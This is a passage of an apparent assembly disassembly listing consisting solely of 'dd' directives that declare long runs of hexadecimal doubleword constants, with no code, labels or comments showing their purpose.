		dd 1397B5FFh, 0EAA92E2h, 0D4C0CA6Ch, 80DE66CBh,	0B84E43Dh
		dd 207EEBB2h, 181C2064h, 0FB4E1409h, 0E8158702h, 6004C4DFh
		dd 0C2FD2FDEh, 2DE0ED24h, 6701E336h, 5EE14610h,	56F40C78h
		dd 2DDA0780h, 701AEC6Ah, 242C6258h, 0F8C384Ch, 8FB74E99h
		dd 3C8BE0F9h, 955BBBh, 0D7D0EFDFh, 0B8EA5309h, 0B48F49h
		dd 693CF239h, 0BA1E636h, 0E342D33Fh, 0D00042D0h, 8860A0D9h
		dd 28D27FEFh, 0F4B164h,	1FBF707Dh, 81CA57DDh, 0B0B5DF07h
		dd 7CE08355h, 8876C4h, 0BBAC0979h, 0CEAB7752h, 0D50078EAh
		dd 1017DAE9h, 0E30D98A3h, 1E3068C0h, 0C087F266h, 0B67A4A42h
		dd 9700E270h, 96C4256Ah, 5D40FBh, 42DA3A2Ah, 0F1EEE001h
		dd 0AF627C0Ah, 3000C8DFh, 634A3B65h, 0E6560054h, 0D92B3D5Dh
		dd 3003812h, 0F38D0AF2h, 5E91BA9h, 0EB97CB7Ch, 0FFD8C4C3h
		dd 0CF348EC7h, 0C1D1B480h, 7E130CA0h, 18C07B98h, 0E9E4AD01h
		dd 3F4561ABh, 0B0ECD8h,	0AF84B56h, 0FFD26C9Ah, 0A71BE500h
		dd 0A35B7367h, 0FA2901CDh, 69103175h, 34B0301Dh, 5D6EAF16h
		dd 0C49CA414h, 3C008D51h, 0AF879565h, 22BEEB00h, 71C585A7h
		dd 86E33DC4h, 0E0FCB13h, 55E0B140h, 62BF03B5h, 0F1F93013h
		dd 72056C01h, 0DDC89D5Bh, 8A960137h, 0ACF5B095h, 9880E60Bh
		dd 0F751DA04h, 3840D641h, 5D962D2h, 985CADBAh, 2074D0B8h
		dd 42072A5Ah, 44456BFEh, 5FE6607Eh, 1CDD4C54h, 0E554968h
		dd 0AEC0A53Dh, 0AF08A29Ah, 7CBFC514h, 0FE400598h, 8490EA0Eh
		dd 3C118D27h, 88802038h, 0C56F9550h, 73011E5Bh,	0D6D244DBh
		dd 64E4BED9h, 50D14870h, 0F8992C75h, 0F61C818Ch, 0D02E9A8Bh
		dd 2133753h, 0F45F09E3h, 5145100h, 7A940DC0h, 4E520B89h
		dd 82004D53h, 813BA110h, 74BA720Eh, 0FA6C0048h,	1FE7B2B4h
		dd 0C3ADAC05h, 0E4F2E6D5h, 0D7489980h, 0C0420F2h, 0F8F92D49h
		dd 0CB7744C0h, 968FF64Bh, 424A01E8h, 0ECB1AD70h, 30002B05h
		dd 8CF6E1BBh, 5CD8D0h, 7BA4C4C8h, 716F2831h, 0DDAF3D00h
		dd 25D7CAA6h, 0A21E0356h, 42C0225Fh, 0ADAE46E8h, 0C95878B8h
		dd 814003F4h, 0FFDDEF03h, 714F0EC1h, 17C5C20h, 5931A8A4h
		dd 0E84D7F66h, 0F218C92Ah, 5A9884Bh, 65B90050h,	2C912F8Bh
		dd 6200950Ah, 0DC928D3Dh, 0F31E221h, 0DA26EB7h,	0CCB825h
		dd 0A980BD9Bh, 4E01C8A4h, 728B98D8h, 838CAF3h, 711C5707h
		dd 3DFE20F1h, 0BA0131BDh, 6ED2541Eh, 1C74CD03h,	32131B9Fh
		dd 63A9E0CFh, 8D20644Dh, 670AFBB0h, 0D818AF51h,	53A6AB00h
		dd 2CEC2B97h, 24CFEC1h,	0A2BD13A3h, 7D129160h, 0F85C917Eh
		dd 80B939DEh, 0CD7B3DF4h, 0BB19D89h, 181DC8FAh,	4C5F6020h
		dd 3B1E5BDBh, 0B00F5FFh, 737D79E1h, 0A15400B6h,	0C2845D32h
		dd 0A8CF27D4h, 89334104h, 75C4F055h, 1FF70063h,	4D0F3D81h
		dd 0DB1D9843h, 0B9003930h, 7BF29C9h, 0E864009Ah, 91FABD1Ah
		dd 19007778h, 0B59D3CEDh, 3EB310C1h, 0A0879B96h, 0F0C2AD0Bh
		dd 7FE94ECBh, 0E2C9BB00h, 0AFB38241h, 4CD5EA5Ah, 0F308C49Ah
		dd 3302D328h, 80D85D44h, 0A10F10A4h, 0DDBCA061h, 509D799Ah
		dd 31D5F1h, 0FB8A25DEh,	0DB87BCB7h, 76C8B300h, 0AEB1EFBDh
		dd 28A00003h, 239B396Ah, 0D30764B5h, 195404Ah, 4B515BC0h
		dd 0BAB10298h, 0C97366D6h, 2BAB4C40h, 76529710h, 55CFD200h
		dd 78537B4h, 99DDBB00h,	65AA172Ah, 0CBEA05h, 0B902C03Ch
		dd 6B22D93Eh, 3FEA5B00h, 8DBCFE08h, 15C700F6h, 0A7D393B1h
		dd 8F20233Eh, 0F976F7h
		dd 861678A4h, 9A1D1922h, 0F1D35D00h, 0C5FA91B5h, 0E49C004Bh
		dd 71B80B7Dh, 0C03AE5AFh, 99B694C4h, 3B843998h,	2136008Eh
		dd 9FF331C7h, 2027006Dh, 0F9FFFE7Eh, 8CB4D865h,	30D3071Ch
		dd 0AE97B842h, 632B2061h, 5110C522h, 7704A032h,	0A0211B01h
		dd 9F019E00h, 0D94C0899h, 7BE88002h, 0C9A80089h, 1B4FC1BCh
		dd 0BC927A70h, 5E07CCFCh, 1E97AC9Eh, 12C30E70h,	45C49941h
		dd 9013817Fh, 0F844027h, 171737C4h, 380081C1h, 79B0989Ch
		dd 72C9F9BBh, 60C390C4h, 15F3C8ECh, 90B190Ah, 80F6174Ch
		dd 565E5D5Eh, 466500DCh, 0A53CFA3Eh, 101D02A4h,	0B440E092h
		dd 0CB9DF774h, 0BACF01EEh, 53A5D0E3h, 2AE991DAh, 0B56A8200h
		dd 0E8102BD7h, 15033C00h, 0D82866DBh, 0C6C8071Dh, 60F257EDh
		dd 50D41A84h, 0E9965102h, 42A35C8Ch, 2440D26Bh,	95640781h
		dd 2700F0E5h, 0D94541BEh, 9405FECEh, 515AE818h,	0A13EE687h
		dd 0C440A19Fh, 1D16AE8h, 6C6EAE0Ch, 50208EE9h, 0ABFC68E0h
		dd 666F0616h, 9A310040h, 2E3C2907h, 8310946Bh, 68CF14AFh
		dd 0C9DA2003h, 978660E4h, 4368A7C9h, 6ADE33E0h,	2A3500BAh
		dd 97705CF1h, 50009DC3h, 0D07C7574h, 276484h, 0CA492BFDh
		dd 8EC8B715h, 66119E00h, 466A3997h, 0F2480FD3h,	4E400992h
		dd 0E660EA96h, 0D4820124h, 3903B026h, 0A8FDE744h, 1CEA2751h
		dd 45015663h, 0C0526857h, 0C2DE2FCDh, 810EA302h, 407A92B6h
		dd 0CFDFABh, 2A9DDCB4h,	0C6F68F25h, 0D746100h, 5F30668Bh
		dd 4EC0060h, 460FF748h,	68003C3Fh, 0AA59BCEh, 1ABE5DAh
		dd 97E144BBh, 0D97A3809h, 2398E05Bh, 7F6FC20Eh,	0EF00BD31h
		dd 3326E2BFh, 363D0396h, 5F6DA47Dh, 944852B2h, 0E8921CD8h
		dd 92809094h, 0AA20ACE7h, 3B0E7EAEh, 13740488h,	40CDD2B6h
		dd 0F6FB8114h, 250B46D9h, 8066A724h, 9E847C6Ah,	8CB84C6Ch
		dd 47003F58h, 7F19C336h, 0CC730D3Bh, 76CDC00h, 0F745D951h
		dd 0A4970004h, 81A03EE6h, 3401C40Bh, 5E79D3AAh,	0C02F4A4Bh
		dd 9BAF692Ch, 512F9800h, 682CB566h, 0F47B00B9h,	0D9DBE806h
		dd 9100ACB4h, 79EA2846h, 3A6551A8h, 528081FCh, 56CD0F83h
		dd 780F9AE3h, 0A002C348h, 0F41E5362h, 0EAF843h,	0B74C6E68h
		dd 0D9600F8Eh, 0F113641Dh, 1E00B493h, 1FBFD118h, 0E1CCF42Dh
		dd 0FC70E30h, 0B26591D4h, 8DEA0052h, 0B306217Ch, 8118553Eh
		dd 0C4D3BF64h, 7E30FB87h, 99D000F3h, 0E0A6EA17h, 68C0A504h
		dd 57144692h, 4E6400A2h, 0A4EC2DD0h, 6D0967DAh,	804B2CCDh
		dd 2E260C48h, 0A7FE18h,	0A8297B53h, 0CF7081A5h,	518E2301h
		dd 0D7EE88FEh, 0FD28B0C3h, 0FA080029h, 9CAC2512h, 4901B1E5h
		dd 7C55E8B9h, 0BED08156h, 1CC10030h, 0AB4F884Dh, 39004E94h
		dd 712F7A5Ch, 4008A6h, 33CF98B5h, 0FB446B4Fh, 2E003BF8h
		dd 0AA804103h, 4C6140h,	95F92BC2h, 0B5F4E136h, 49C11600h
		dd 6E8F1ECEh, 0B47801h,	65565D0h, 0CC36FA95h, 73F8A248h
		dd 0DC75EF0Eh, 96CFE09Bh, 721665Ch, 8C01E37Fh, 0A58400DBh
		dd 0D500A919h, 96B6FAC6h, 145A3CD9h, 0F0063F7Bh, 0BC096714h
		dd 0BF461F00h, 0B4B29B97h, 6953FA00h, 478B74A9h, 0D5D948E9h
		dd 9D1E283Bh, 0D75F86FBh, 0CB004053h, 61C899C4h, 17CADCh
		dd 35DF7852h, 0C7C559C0h, 0FB794203h, 0F98C95F8h, 1820F0FDh
		dd 3DF5E218h, 37005752h, 1EC324DDh, 0F40056FEh,	6F389D4Bh
		dd 91024Ch, 0EA49C28Ah,	8E4ACF87h, 0B9A09560h, 0F01D8592h
		dd 1E1B00A3h, 0B6AF07A2h, 0B70024EDh, 33B43004h, 761935h
		dd 0BF86083Dh, 0B051E82Dh, 5CB91E00h, 3AF30BA9h, 8643990h
		dd 786624h, 0A6C00AF4h,	0E0006782h, 9414E475h, 308DC2h
		dd 275EFBB2h, 295CB4A1h, 0DD53E03h, 883A14D6h, 1EF8538Bh
		dd 407D8D18h, 595A964Dh, 0F900C976h, 6C4C2D2Ah,	0E22137Fh
		dd 407B7AB0h, 0F59E0620h, 8D002BDEh, 4B48A43Dh,	83C4DAh
		dd 0AFFE75CBh, 1CC6E625h, 3F7F4AFCh, 110C8F1Dh,	15F17C80h
		dd 90BFB40h, 45711974h,	0D561B801h, 578C20E5h, 8F072212h
		dd 7C7CD714h, 0BB17D100h, 3479CDEFh, 749C3A9Ah,	31AB8C80h
		dd 6865678Eh, 0FC251300h, 8DC42EFh, 0F9190329h,	7C2B4C33h
		dd 6CA10290h, 340092EAh, 1C9B541Dh, 0A099C344h,	2606CAh
		dd 0A1FEF3Eh, 1267BC6Ah, 68520119h, 1CEC8C21h, 9E0E00BDh
		dd 342ECA02h, 7F008871h, 31EC2610h, 49CC5Ah, 0A2703592h
		dd 48582B76h, 0BE21C100h, 870AD1E3h, 0EFD40022h, 0C364123h
		dd 840002F2h, 0CA44B163h, 4EDCF8h, 3F4D6220h, 7650B8A6h
		dd 77875700h, 3AFCAD68h, 0BC301BCCh, 90C7F07Dh,	0C95ECF52h
		dd 0ADE80F00h, 0DA9C3CEDh, 87D83AB5h, 0A98047BFh, 360153ECh
		dd 0FE00050Dh, 0D332D20Ch, 10F00Bh, 454C75F5h, 8E5172BEh
		dd 0F88F5628h, 0A766D400h, 4D09AE38h, 2342020Ch, 0F013D063h
		dd 7EAAA880h, 0A09A206Dh, 0DE8AA00Eh, 39930089h, 48BE870Eh
		dd 0D700581Bh, 4E91EB36h, 7100B313h, 0D9F08D11h, 15F2EDCh
		dd 9BBEAC4Ah, 303E42B9h, 8700FC43h, 0ED37B352h,	3099ECFh
		dd 1773612Fh, 6ED8E4BEh, 765882E0h, 39A0019Ah, 0D0CC4257h
		dd 7EC9430h, 3827BCCBh,	80A3D0EDh, 0B0024D55h, 0ADDFBE6Ah
		dd 65186009h, 0B16039Ch, 6BDE0626h, 80965800h, 0BC9D083Bh
		dd 0C3E20F2Dh, 20600C52h, 31755961h, 51B32801h,	5B94C278h
		dd 1EE1EBC4h, 409FA62Fh, 24A0E90Ch, 180EE6EFh, 0BFA17535h
		dd 7371F898h, 16E4B9h, 6156FDF0h, 797BCAD8h, 89D1E002h
		dd 0A29DF8B3h, 0CB73F4E8h, 0D890F75Ch, 0E8178925h, 10A93239h
		dd 4F008E18h, 388C3B4h,	0E7904237h, 0FDC06AD3h,	23004ABFh
		dd 0E531F7B6h, 6121B3Eh, 28265168h, 7004178h, 79721AD8h
		dd 30AE29F8h, 0ECA82214h, 880DFD08h, 2012F413h,	540618E4h
		dd 0E44E6459h, 30FDF0DAh, 0B730EE4Bh, 9D501CEDh, 9318E45Ch
		dd 0E04006F8h, 1A4E00B8h, 98F28F5Ah, 3E2E5EBDh,	0FD00DAC4h
		dd 7BB7A3DEh, 873A001Ch, 0AE479864h, 0C00F085h,	0D6FBE33Dh
		dd 716C9FCh, 0B6579241h, 0D8D57027h, 0BA0081A6h, 4DF85E20h
		dd 7E02F12Fh, 3BF200C1h, 0C7A77C84h, 0AD02A237h, 2B83A50Ch
		dd 0CB8DC0CEh, 3CEEE23Ch, 3700779Dh, 0DE09D56Ch, 51009C6Dh
		dd 123AC9E7h, 1DE41D53h, 0B89F13Fh, 3420622Fh, 0DCEC7BCDh
		dd 0BCC2971Ch, 6B8C80BDh, 139E38FAh, 33E50739h,	0D766924Eh
		dd 0E4ACE3D0h, 8C8C7ADFh, 1496C2Eh, 0A000907Ch,	0AD5D783Ch
		dd 7811CD32h, 2F0526C1h, 0CAF80041h, 15B9208h, 8E892E02h
		dd 0E84EA716h, 786534h,	4117138Fh, 0F674023Dh, 18BBA200h
		dd 0BCE127DCh, 5E7C00B1h, 395C4CE4h, 2EE022D4h,	580AA50Fh
		dd 924747Fh, 8990C3h, 0FF88A886h, 32C90177h, 29D2DA61h
		dd 0C1B1806Dh, 0E6E0C80Dh, 0EEF803FDh, 549A77F5h, 0EB3C5BA8h
		dd 1AF14800h, 0B97C5A28h, 46E40045h, 475C9D8Ah,	0F774F29Fh
		dd 4D388F0Ch, 0F4AA7923h, 6E9103E8h, 0EE2EAEC4h, 866A480h
		dd 35617705h, 20E0A99Ah, 92A826D6h, 0E9650373h,	1028D550h
		dd 0D018046Ah, 8108BE1h, 817E31h, 0F2A0106Fh, 0DC918A0Ah
		dd 790F3976h, 0E0E0D138h, 0F5A4D607h, 0A9940078h, 93997543h
		dd 0ED005D25h, 0FFAF1B17h, 803B05h, 2AF8DFE5h, 0FE5B4B06h
		dd 75E93603h, 0F82F7859h, 7E75F88h, 4307CC7Eh, 0FF1C0DFh
		dd 2100A424h, 9497CE16h, 38B9F370h, 1300C2D1h, 92EF0144h
		dd 0B8F64EAEh, 3942700h
		dd 45F778Dh, 5C5B0243h,	14B224A8h, 8A7D57E0h, 0B94BDA00h
		dd 19034FDBh, 24D2003Bh, 3AED4204h, 88C02038h, 0BC0CF2B5h
		dd 27EB0089h, 2FC8B4B8h, 20FFBFEEh, 77774AF0h, 82FEE700h
		dd 0C9D57622h, 0CD28005Fh, 0F96504BCh, 0B300239Bh, 46440E8Fh
		dd 3116E96h, 92A21B74h,	12C9E882h, 4A8887F4h, 9E07E32h
		dd 0CCB083h, 9C20339Fh,	0FABD889Ah, 8417F200h, 0EFD3F06Ah
		dd 9B18C191h, 0CC295EF1h, 470A2F46h, 0E069BA79h, 84B3960Ah
		dd 0B7AF980h, 3A7BEF02h, 7F0238E7h, 0EBD92E1Dh,	6011F891h
		dd 0F1009E2Ah, 8109397h, 311568h, 0D4712AA1h, 7CF25362h
		dd 84442200h, 64EA06AEh, 0FA3603E4h, 0E512D8C9h, 35ABF8B8h
		dd 0B0B8EBA3h, 541E9623h, 3F403022h, 46686D34h,	28CD008Dh
		dd 0E37F5C11h, 1700C69Eh, 0CFDA83CAh, 0D8E95Dh,	76CC61A4h
		dd 6E303BC5h, 9F800D00h, 178899ADh, 4AE418h, 0B0EF0F8Bh
		dd 26BAE2B6h, 1B5B040Eh, 2D9EA3E1h, 9121006Ch, 23A172F6h
		dd 0D91E1A9Dh, 0F0B07B25h, 1B88657h, 972494E8h,	402DD8DBh
		dd 5AD155F8h, 0D7ABE500h, 2C719D3h, 137C66h, 0F08EE743h
		dd 693FEA2Fh, 0A52E4A7Bh, 1C281B59h, 48F67800h,	0E498CCD1h
		dd 0FA2C0AC7h, 0BC052Dh, 9EB5E140h, 0DF00DD8Eh,	642837Dh
		dd 0DB637Fh, 2A1284CFh,	9E11FFA7h, 0F5ECB8C0h, 12B5571h
		dd 4C7EE8A3h, 24B9E628h, 7200B2CCh, 0A99E6780h,	1866BF0h
		dd 36E966E7h, 246AB815h, 0CF00F858h, 0CBFA5FA6h, 3020425h
		dd 428CA003h, 54E839A3h, 0CE003221h, 1D23F95Dh,	7F05596h
		dd 647851Ch, 0B1BA07Eh,	1100B86Dh, 0AD5748E9h, 0E6D90465h
		dd 0F43102C7h, 3D77CEC3h, 0D81480A0h, 0F800ACFFh, 0F98BEBB3h
		dd 3D51A22Dh, 23803BF1h, 2848275Eh, 0C9C05568h,	603DAB30h
		dd 0F119004Ch, 0FC8B0747h, 0B80175B1h, 2EBB7C14h, 0DFE57026h
		dd 4CA7A450h, 83D63C9Ah, 89406200h, 0BD28AFFEh,	9D763B02h
		dd 0C22D756Dh, 0BD80702h, 1B00BF7Fh, 0EA12A4C0h, 8B060038h
		dd 3A5C181Eh, 0E507E9E3h, 0FE634B59h, 1BF73CD0h, 9888F67Eh
		dd 0B74900BFh, 0A32C74E1h, 0EA179E25h, 220057A2h, 0D870D5A9h
		dd 0E95005Bh, 0C3B05220h, 89780A10h, 24512200h,	7DA837B8h
		dd 71F80C35h, 74F9D143h, 0B2282700h, 33A37347h,	0BA62120Ch
		dd 1DFB0135h, 0C42063CCh, 0D900AEC2h, 0EECAD6FDh, 0F3F5202h
		dd 0A69D5F9h, 9692C8F8h, 0CAF3FD00h, 0AC186A9Fh, 6E070283h
		dd 10DEA012h, 803BCC45h, 1C5037C6h, 3F235Ch, 4F6858B3h
		dd 5FF0330Bh, 6FA9D500h, 0DAA0482Ah, 9AA20031h,	8CE94F04h
		dd 390053E3h, 2FE04C27h, 2B564F5h, 85A08AD9h, 0E8A0CDB3h
		dd 0BFC854EBh, 180098F4h, 4088028h, 60A44B0Fh, 8A5F11B6h
		dd 79068186h, 0CFFFF23Ch, 18880118h, 0CC9591E0h, 0A96BC46Ah
		dd 0C8044C98h, 48129477h, 189D90C0h, 264A04D8h,	90C50EFCh
		dd 6B62473Ch, 9549E700h, 557285AFh, 0E9704Eh, 0E44DAB7Fh
		dd 7ACEA264h, 0C2C52801h, 0ADAADBC0h, 0B766803Bh, 990019D9h
		dd 0BBBC7BA5h, 9078F6h,	56D8CA8Fh, 0E97D4482h, 6A9DB10Bh
		dd 0EF6C20FEh, 220E7FDh, 3C4F2C03h, 99805B11h, 63277962h
		dd 5225E218h, 49B838h, 2BF9F4AFh, 81A0FA5Ch, 75002AFAh
		dd 71417948h, 0EC6C7C3Ch, 435B0054h, 38AD55C0h,	0F09F0342h
		dd 7ABEA39h, 0E223D9Eh,	0CBEC8036h, 8404E49Dh, 0DB5BF17Dh
		dd 79C4488h, 7BEEC521h,	0F3A53099h, 410FD768h, 87DEB7DCh
		dd 0B944Ah, 0C05B5196h,	6B58006Dh, 7A07CA5Ch, 0E00061BFh
		dd 9D70B382h, 48054Ah, 2BB1990Dh, 91657647h, 0C83A5E7Eh
		dd 0AED92C3Dh, 3514C000h, 7788A1h, 76A59C36h, 4132BB82h
		dd 67E8D207h, 0A09B0BB1h, 9075F614h, 0D74A0007h, 0F8D643BFh
		dd 0AD02B67Ah, 8EF1FA93h, 2B5C60EFh, 0A633E06h,	1D43A19Ch
		dd 532EC179h, 64C75A11h, 1C099D58h, 0AEB334h, 0CB8B0DCCh
		dd 907F0E55h, 0A1B8EC3Fh, 75003486h, 0AE6C69C7h, 7074174Bh
		dd 5F2800F2h, 8798B7F9h, 713E4721h, 0D56B85F7h,	88909706h
		dd 547C15h, 0DCBE254Ah,	0DDEFF5F8h, 9E963417h, 380B9042h
		dd 7ED960C6h, 0B57402A1h, 0CA69AD7Dh, 0A603A4E0h, 5742E0F9h
		dd 1DC7AC00h, 55587DB6h, 0FA41CF9Dh, 0D3D0936Ch, 541E60C1h
		dd 818395F9h, 53EFE833h, 0BAB5BEC0h, 0C3B6B724h, 0BFF6A300h
		dd 268F27h, 9F33CCE5h, 0B20F9CFh, 69C61431h, 469574F6h
		dd 4B006819h, 0AB8D4A5Fh, 0FE002CB5h, 37D682DEh, 0EDF39Eh
		dd 0E0D507C5h, 0EC48EE5Fh, 0C6ECB5E6h, 4B9E5700h, 0DA5125AAh
		dd 54F50E88h, 0E0808105h, 715D1559h, 0E103B3F0h, 0FE7BA1BAh
		dd 0F0B6E003h, 0EDCF0030h, 519CD8D3h, 0B416A3A0h, 92074098h
		dd 98BC772Bh, 3547007Dh, 49057A8Ah, 69006EB0h, 485E37C5h
		dd 7ED615h, 849AC6DCh, 20856FE0h, 28B6B00h, 30AD6DD7h
		dd 7BED1EF6h, 78BE1Eh, 0A2679B27h, 0FC38E589h, 0B46DE000h
		dd 0C84AD4E7h, 26830319h, 0CA016B54h, 0D2328A80h, 7639FE00h
		dd 1F9CC3DDh, 26E097D5h, 677F5D55h, 0C799A600h,	65E5B6AEh
		dd 782200F7h, 0C2DA307Ch, 0FA0938CCh, 0A86E39E3h, 421EC58h
		dd 0D4377057h, 0BA7B5F02h, 97BF5299h, 0DCA36030h, 2C98D6A0h
		dd 0F2874900h, 9A2B3389h, 506B0003h, 0D8A2DD5Eh, 553261A3h
		dd 119228CEh, 44840877h, 108465D4h, 21F38D94h, 0E6F00813h
		dd 56843990h, 0AF1F448Bh, 48E77144h, 0B11A423Dh, 22AC7B22h
		dd 1124D3AAh, 12BE6121h, 0D0621047h, 0B3089589h, 10EEBF45h
		dd 0E989EF39h, 8544BD08h, 9B8C88AFh, 160E3101h,	756D997Ah
		dd 94DC59DDh, 0FC875BEh, 86B7460Ah, 43B5E840h, 0CD07EBB9h
		dd 0DB4130B6h, 7D1A49B0h, 68A80045h, 0FDC37244h, 9B00D454h
		dd 0A6D17164h, 0EA0CC1h, 0AE967F2Ah, 0D5724A2Ch, 0D726AD16h
		dd 1D9D5F00h, 0F47EAB3h, 123F927Dh, 3D065160h, 900457Bh
		dd 4A27196Ch, 383AEA65h, 7BF8A9h, 0CE211AC4h, 0D5EB342Eh
		dd 55004375h, 0F96431E1h, 1304969Fh, 40A28911h,	0A5C3094Ch
		dd 8F00102Eh, 2C206D25h, 799C0F29h, 0BCCD017Ah,	3F84A4F9h
		dd 539180B1h, 659D9859h, 0D70F002Eh, 74708E9Eh,	16007961h
		dd 110A010Bh, 43B61Ch, 7FA2A77Ah, 552D5251h, 92831500h
		dd 0ADDC6345h, 46A100D2h, 43FA9E50h, 0AB0752EEh, 0C85049Bh
		dd 6ECDFC40h, 9C077A8h,	19A7FE4h, 0BE8844E0h, 6F29D4Ch
		dd 0F24B85EAh, 3CD11DA8h, 28028C09h, 0FE73A538h, 0B938E9A3h
		dd 2483B15h, 84C4F27Ch,	0CAE8E1DAh, 0A0D898F4h,	0FB2FBCh
		dd 8EA87404h, 72C9B005h, 6357DB0Ch, 3C20D9h, 0B6DDE4B2h
		dd 87B7C22Bh, 6097CB07h, 1310C9FAh, 31D83A3h, 9BD72049h
		dd 0D5E8417Ah, 5100681Eh, 0B4BD957Dh, 25705E4h,	0AF127C33h
		dd 0D0806472h, 0F81E4503h, 2D229900h, 3EE67547h, 81D900D8h
		dd 496DF4C5h, 430E8F4Ah, 205A65DEh, 0DC7B8850h,	55DB0042h
		dd 85A7EF5Eh, 0B90EB3CFh, 8292A5D4h, 40DE7538h,	5F0A7Ah
		dd 86634248h, 36D1F3F1h, 0E3F71600h, 1CA452FDh,	2C6713Eh
		dd 57A2AF7Eh, 1040FF3Bh, 89005365h, 1EEE0904h, 1C58EAh
		dd 5E474323h, 0C3AA1DFCh, 53876000h, 3E567207h,	0A06CF883h
		dd 21884ACh, 0BC3FC1C7h, 8EC1999Ah, 1C1E3029h, 2C2ACD00h
		dd 0B4D7BE04h, 359600DCh, 5B364F38h, 0A10CD8F7h, 0B84C3D77h
		dd 8BD21EF9h, 2DE981D5h, 24E3DB5Ch, 9300BE94h, 0D00A6F3Fh
		dd 0FE7847h, 0AA72DFE2h
		dd 0E8114A9Ah, 643A2100h, 0F342AEB8h, 33190002h, 7ACD8251h
		dd 8E0076BBh, 0DC552C0Bh, 0C7793Ch, 49E8F9F7h, 1C999BD6h
		dd 966A4F09h, 784002EAh, 0B84A2058h, 0AA00939Dh, 4F8BE0F0h
		dd 0B7CE32h, 0DEF90B94h, 0BB4034A2h, 0D80DC803h, 0F3BF01Eh
		dd 0CA9F61B0h, 0C278C444h, 4C401108h, 0B8003765h, 9F7FE92Dh
		dd 771485C9h, 23A50E7Dh, 1E200F28h, 871FB493h, 7F03CF06h
		dd 150214Bh, 9B2F7870h,	0C8E6FB51h, 6700C2BDh, 40E2B866h
		dd 12EFFD7h, 0BEBFC441h, 202412A0h, 0F6009D4Ch,	0B11B04DBh
		dd 4FCDC1h, 24643C4h, 0ED35D014h, 7A970A0Eh, 0BB4E0E0h
		dd 0DF5ADCh, 0C7F192ECh, 0BCF30425h, 78F76D0Eh,	0A62E85BEh
		dd 847F3480h, 0CA650012h, 0BBB23AA7h, 7001ACFh,	1E37DB70h
		dd 0FF16CCh, 54694A8h, 0A7F51FF3h, 413D1D1Ch, 9C05E40h
		dd 72FD9Eh, 7C775A85h, 0C4591848h, 8ED6200h, 7A3F4431h
		dd 89E40015h, 0B1B7F079h, 6900338Fh, 21809EB3h,	0EA86BEDFh
		dd 48BB0E96h, 0D940234Dh, 0CDF9B476h, 0F52F580Fh, 1E4E3DF7h
		dd 2D12DF62h, 47CE8A03h, 9277B0D8h, 97EE00B0h, 7156CF9Dh
		dd 0DD0F9A2Ah, 0E028EAB8h, 0D227890Fh, 0ADD71C04h, 351C8098h
		dd 3E61514Eh, 0B8AB2528h, 679EF000h, 5E11992Bh,	5AD900EBh
		dd 7AB0326Eh, 1F2C70F6h, 0A987D0CAh, 0D790A44Bh, 98378A99h
		dd 94B91DA8h, 0B3394071h, 0F9A0468Fh, 7251E112h, 0A45C0Fh
		dd 0D490AA25h, 282176DBh, 0C09FEFh, 0D956E17Eh,	0D6169D64h
		dd 0D21DDD00h, 9F824D3Bh, 547E4CA7h, 526B9100h,	9814039Dh
		dd 93A5603Ch, 7D01A6CAh, 7C176971h, 6DC6880h, 0ED688C9Dh
		dd 1DD0280h, 0E6632E89h, 64CB1F30h, 0A138F720h,	59D0E053h
		dd 74D2Dh, 8BBFEB63h, 45FFCDAEh, 0D7D05100h, 1C1DB7B6h
		dd 9D7DDFh, 5A46AFBBh, 0A081092h, 0D6475601h, 1DEE6B3Bh
		dd 6298808Eh, 4D3EC11Fh, 0C4C492D4h, 0CC6013B1h, 86F34A52h
		dd 84D200B2h, 0EE7C0DD6h, 90002EC9h, 0F7076F7Eh, 868E64h
		dd 0A4CA4985h, 4B38E49Fh, 9D6C6B00h, 0B668EAB2h, 16651E3Eh
		dd 6AA980DBh, 0FFBECFF3h, 52D5CD1Fh, 0D7E68301h, 97E4B865h
		dd 0B627008Ch, 2EFCD19Ch, 5CFAD2F4h, 0C09DC128h, 978915Ch
		dd 83023F76h, 0A8F9BD00h, 81C79Eh, 2E36C1F0h, 50518EB8h
		dd 0CB0A0F01h, 89E20B3h, 0F4865F20h, 2D1607F0h,	314DBCFAh
		dd 0C860D5EAh, 6A09CC9Bh, 0AF0F54E9h, 0FAED2018h, 0BC5C29h
		dd 0ADF84514h, 72CB3053h, 0DA2F2B1Dh, 0CAF1B081h, 0DCF089EFh
		dd 81221E94h, 0C200FC49h, 48649C09h, 60008D5h, 945DCD0Eh
		dd 6366895h, 181C6B24h,	931D5810h, 384229E4h, 605A6D21h
		dd 9CC2DCh, 41520849h, 0C7A8464Fh, 8D13A700h, 0CEE85391h
		dd 65D60078h, 7B551B45h, 7301FAEBh, 954C8E2Ch, 18D8F35Eh
		dd 585C004Dh, 0B785035Bh, 1002624h, 63216777h, 4CFE3627h
		dd 0E112F757h, 0F13400CAh, 0C5EFB481h, 0A23B5Ch, 10FD596Eh
		dd 0E4EDBDh, 0CE30A6E1h, 88404CB4h, 0FF480400h,	225437ACh
		dd 81F60Ah, 4905E31Bh, 6D7DC9E4h, 34B01724h, 57624602h
		dd 279448DCh, 30DD000Eh, 6C78E44Fh, 180071F8h, 25963DDEh
		dd 124BC4E6h, 0C981D0h,	26DB0D13h, 0CC3B8A6Bh, 0C0778131h
		dd 0EF42DA5Ah, 0A41CE0h, 0D0477F32h, 857CD746h,	0F4EC501h
		dd 0C6A21ABFh, 7AB9E4h,	0D9574261h, 0BD15B09Ah,	77369C00h
		dd 0EC11C5D1h, 95A016EDh, 0FD6900C2h, 0E71DE108h, 0C0A36E00h
		dd 0D802231Eh, 0E44725Ch, 0B9F7CA28h, 0EAB1B400h, 0E95067F0h
		dd 4D00ABE9h, 66187E3Eh, 7B92FBCh, 61B7D374h, 0D4EA83h
		dd 1F363BDDh, 0C40053BEh, 0EC23FB94h, 4FB435h, 0D3CD1837h
		dd 7F0DABD8h, 0EAFCF702h, 0E81416E3h, 90CCE6C4h, 2463783Ch
		dd 146059h, 61E7DC39h, 23F2426Dh, 0B45D8100h, 80653595h
		dd 0F65C501Eh, 0A62703CAh, 0DB6E88CEh, 0BDEED4E8h, 8590FD3Fh
		dd 4536AB2Fh, 0AFDD08D0h, 4ED00083h, 25B6A8F8h,	68026795h
		dd 0FD195873h, 1DA4806Bh, 1472779h, 8EC2AC63h, 0D0B0CF9Bh
		dd 0F00F1B35h, 45DBFE10h, 82C07E23h, 0C30C18h, 7F726290h
		dd 5AD03EEEh, 8884507h,	0AE40BDE9h, 0B122D9h, 0AB0D7BF8h
		dd 9DFF2AECh, 0B812789Ah, 6B006899h, 2390EE3Ah,	0DFC202CEh
		dd 0C5923743h, 82799CC4h, 96632A00h, 5BDD5210h,	0AAF800F4h
